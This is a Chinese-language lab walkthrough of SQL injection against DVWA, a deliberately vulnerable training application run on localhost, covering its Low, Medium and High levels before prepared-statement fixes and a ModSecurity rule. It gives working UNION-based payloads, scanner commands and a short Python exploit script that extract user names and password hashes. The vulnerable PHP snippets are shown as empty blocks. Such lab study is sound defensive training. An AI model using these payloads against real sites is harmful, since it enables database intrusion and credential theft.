# DVWA SQL 注入漏洞利用 ## 1. 漏洞概述 **靶场**: DVWA (Damn Vulnerable Web Application) **漏洞类型**: SQL 注入 **难度级别**: Low / Medium / High / Impossible **影响**: 可提取数据库所有数据,包括用户凭证 ## 2. 环境准备 ### 2.1 启动靶场 ```bash cd /Users/x/websafe/00-environments docker-compose up -d dvwa ``` ### 2.2 访问地址 - URL: `http://localhost:8080/vulnerabilities/sqli/` - 默认账户: `admin / password` ### 2.3 数据库结构 ```sql dvwa.users ├── user_id (int) ├── first_name (varchar) ├── last_name (varchar) ├── user (varchar) ├── password (varchar) ├── avatar (varchar) ├── last_login (timestamp) └── failed_login (int) ``` ## 3. Low 级别 - 经典注入 ### 3.1 漏洞代码 ```php ``` ### 3.2 手动利用 #### 步骤 1: 确认注入点 ``` ?id=1' AND '1'='1 // 正常显示 ?id=1' AND '1'='2 // 无数据显示 → 存在注入 ``` #### 步骤 2: 确定列数 ``` ?id=1' ORDER BY 1-- - // 正常 ?id=1' ORDER BY 2-- - // 正常 ?id=1' ORDER BY 3-- - // 报错 → 2列 ``` #### 步骤 3: UNION 注入 ``` ?id=-1' UNION SELECT 1,2-- - ``` #### 步骤 4: 提取数据库信息 ``` ?id=-1' UNION SELECT database(),user()-- - // 结果: dvwa, dvwa@localhost ``` #### 步骤 5: 提取表名 ``` ?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- - // 结果: guestbook,users ``` #### 步骤 6: 提取列名 ``` ?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- - // 结果: user_id,first_name,last_name,user,password,avatar... ``` #### 步骤 7: 提取用户数据 ``` ?id=-1' UNION SELECT user,password FROM users-- - // 结果: // admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password) // gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123) ``` ### 3.3 工具利用 ```bash # 使用扫描器检测 python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \ -u "http://localhost:8080/vulnerabilities/sqli/" \ -p id \ -c "PHPSESSID=your_session;security=low" # 使用盲注工具提取 python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \ -u "http://localhost:8080/vulnerabilities/sqli/" \ -p id \ -c "PHPSESSID=your_session;security=low" \ --technique bool \ --extract user # 使用高性能Go工具 cd /Users/x/websafe/01-sql-injection/tools go run sqli-exploit.go \ -u "http://localhost:8080/vulnerabilities/sqli/" \ -p id \ --technique time \ --extract user ``` ## 4. Medium 级别 - POST 注入 ### 4.1 漏洞代码 ```php ``` ### 4.2 利用方式 - 使用 POST 方法 - 数字型注入(无需引号) - `mysqli_real_escape_string` 不防护数字型 ``` POST /vulnerabilities/sqli/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded id=1 UNION SELECT user,password FROM users-- - ``` ### 4.3 工具利用 ```bash python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \ -u "http://localhost:8080/vulnerabilities/sqli/" \ -m POST \ -d "id=1" \ -c "PHPSESSID=your_session;security=medium" ``` ## 5. High 级别 - 限制返回 ### 5.1 漏洞代码 ```php ``` ### 5.2 利用方式 - 通过 Session 传递参数 - 使用 LIMIT 1 限制 - 可用 `#` 或 `-- -` 绕过 LIMIT ``` ?id=1' UNION SELECT user,password FROM users# ``` ## 6. Impossible 级别 - 安全实现 ### 6.1 安全代码 ```php ``` ### 6.2 防护措施 1. **CSRF Token** - 防止跨站请求伪造 2. **预处理语句** - 使用 PDO/mysqli prepared statements 3. **输入验证** - `is_numeric()` 验证 4. **输出转义** - htmlspecialchars() ## 7. 完整利用脚本 ```python #!/usr/bin/env python3 import requests target = "http://localhost:8080/vulnerabilities/sqli/" cookies = {"PHPSESSID": "your_session", "security": "low"} payload = "-1' UNION SELECT user,password FROM users-- -" r = requests.get(f"{target}?id={payload}", cookies=cookies) print(r.text) ``` ## 8. 防御方案 ### 8.1 预处理语句 (PDO) ```php prepare("SELECT * FROM users WHERE user_id = ?"); $stmt->execute([$_GET['id']]); ?> ``` ### 8.2 mysqli 预处理 ```php prepare("SELECT * FROM users WHERE user_id = ?"); $stmt->bind_param("s", $_GET['id']); $stmt->execute(); ?> ``` ### 8.3 WAF 规则 ```nginx # ModSecurity 规则 SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \ "id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'" ``` ## 9. 总结 | 级别 | 注入类型 | 防护 | 难度 | |------|---------|------|------| | Low | GET 字符串型 | 无 | 简单 | | Medium | POST 数字型 | 转义 | 中等 | | High | Session + LIMIT | 限制返回 | 中等 | | Impossible | 无 | 预处理 + CSRF | 安全 |